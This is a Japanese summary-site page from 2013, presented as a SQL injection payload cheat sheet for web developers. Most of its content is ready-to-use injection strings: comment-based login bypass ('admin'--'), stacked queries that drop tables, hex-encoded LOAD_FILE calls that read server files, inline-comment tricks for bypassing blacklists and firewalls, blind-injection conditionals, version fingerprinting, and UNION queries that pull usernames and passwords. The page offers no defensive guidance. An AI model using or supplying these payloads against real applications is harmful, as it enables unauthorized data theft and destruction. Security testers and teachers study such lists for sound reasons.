1. まとめトップ

SQL injection code サンプルまとめ

WEBアプリケーション開発者等向けに作成しました。

更新日: 2013年09月07日

5 お気に入り 9171 view
お気に入り追加

この記事は私がまとめました

Post_logicalさん

M :MySQL
S :SQL Server
P :PostgreSQL
O :Oracle
+ :他のデータベースすべて

一行目コメント

--(SM)
DROP sampletable;#
#(M)
DROP sampletable;#

古典的なインラインコメントSQLインジェクション攻撃のサンプル

ID: 10; DROP TABLE members /*
単に、クエリの最後部(/*)以降を除外する。「10; DROP TABLE members --」も同様。

SELECT /*!32302 1/0, */ 1 FROM tablename
MySQLがバージョン3.23.02以降であれば0除算エラーを発生させる。

一行コメントを利用した攻撃サンプル

Username: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password =
'password'

文字列変換関連

ASCII() (SMP)
いちばん左側にある文字のASCIIコードを返す

SELECT ASCII('a')

CHAR() (SM)
ASCIIコードを文字に変換する。

SELECT CHAR(64)

クォートを利用しない文字列

文字列を利用する直接的な方法はいくつかあるが、CHAR()(MS) とCONCAT()(M)によるクォートを使用しない文字列の生成が可能
0x457578 (M) - 文字列の16進数表現
SELECT 0x457578
これは、MySQLでは文字列が返される

MySQLでは文字列の16進数表現を簡単に生成する方法として以下の手法を参照
SELECT CONCAT('0x',HEX('c:\\boot.ini'))

MySQLでCONCAT()を使う
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
'KLM'という文字列を返す。

SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
'KLM'という文字列を返す。

16進数コードベースのSQLインジェクションサンプル
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
c:\boot.iniファイルの内容を表示する。

文字列操作

文字列関連の操作。これらはクォートを使用せずインジェクションを組み立てたり、ブラックリストをバイパスしたり、バックエンドのデータベースを判別することが可能。

文字列連結
+ (S)
SELECT login + '-' + password FROM members

|| (*MO)
SELECT login || '-' || password FROM members

*MySQLの"||"について
ANSIモードで稼動中のMySQLでは正常に動作するが、他のモードであれば論理演算子として解釈されて0が返される。よりよい方法は、MySQLのCONCAT()関数の利用である。

CONCAT(str1, str2, str3, ...) (M)
渡された文字列を連結する。
SELECT CONCAT(login, password) FROM members

数値の利用

magic_quotes()や類似したフィルター、Webアプリケーションファイアウォールをバイパスでり
0xHEXNUMBER (SM)
以下のように16進コードを記述することができる。

SELECT CHAR(0x66) (S)
SELECT 0x5045 (この場合は、数値ではなく16進コードを文字列に変換して利用される) (M)
SELECT 0x50 + 0x45 (この場合は数値となる) (M)

If命令文

If命令文に基づいたレスポンスの取得。ブラインドSQLインジェクションのキーポイントの1つであり、単純な条件文をテスト等に有用

MySQLのIf命令文
IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')

SQL ServerのIf命令文
IF condition true-part ELSE false-part (S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'

If命令文を利用したSQLインジェクション攻撃のサンプル
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
saかdbo以外のユーザーがログインしている場合、0除算エラーが発生

複文

1回のトランザクションで複数のクエリを実行させる。これは、すべてのインジェクション可能。バックエンドでSQL serverを利用しているアプリケーションには危険。

; (S)
SELECT * FROM members; DROP members--
SQLクエリを終了し、別のクエリを開始する。

ID: 10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
クエリを実行した後でDROP membersというSQL文が実行される。

PHP-MySQLの組み合わせでは、複文はサポートされていない。Javaは複文をサポートしていない(ORACLEについては確実だが、他のデータベースに関しては確定ではないはず・・・)

MySQLバージョン検出攻撃のサンプル

ID: /*!32302 10*/
ID: 10
MySQLのバージョンが3.23.02以降であれば、同じレスポンスが返ってくる。

インラインコメント

SQL文を終了させずにクリエをコメントアウトする。ブラックリストのバイパス、スペースの削除、SQL文を判読しにくくする。データベースのバージョンの確認など初期段階の情報収集等にも使われる。

/*コメント*/ (SM)
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
SELECT /*!32302 1/0, */ 1 FROM tablename

/*! MYSQL Special SQL */ (M)
MySQLのバージョンを正確に検出することができる。このコメント行にコードを記述した場合、MySQLの場合だけ実行される。サーバーが特定バージョン以降の場合のみ何かしらのコードを実行する、といったことにも利用可能。

UNIONインジェクション

UNIONを使用することで別のテーブルに対してSQLクエリを実行することができる。他のテーブルからレコードを取得するよう、クエリに混入させる。

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
newsテーブルとmembersテーブルの検索結果を結合してすべてのデータを返す。

別の実行例
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNIONインジェクションで攻略中、時として異なる言語設定(テーブル設定、列設定、テーブルとDBの設定の組み合わせなど)によりエラーが発生することがある。以下に説明する機能は、この言語設定問題を回避することができる。まれに日本語、ロシア語、トルコ語などのアプリケーションを利用している場合、起きることもある。

SQL Server (S)
COLLATE SQL_Latin1_General_Cp1254_CS_ASフィールドか他の有効なフィールドを使用する。 SQL Serverドキュメントを参照して確認すること。

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

MySQL (M)
発生しうるすべての問題に対してHex()を使用する。

1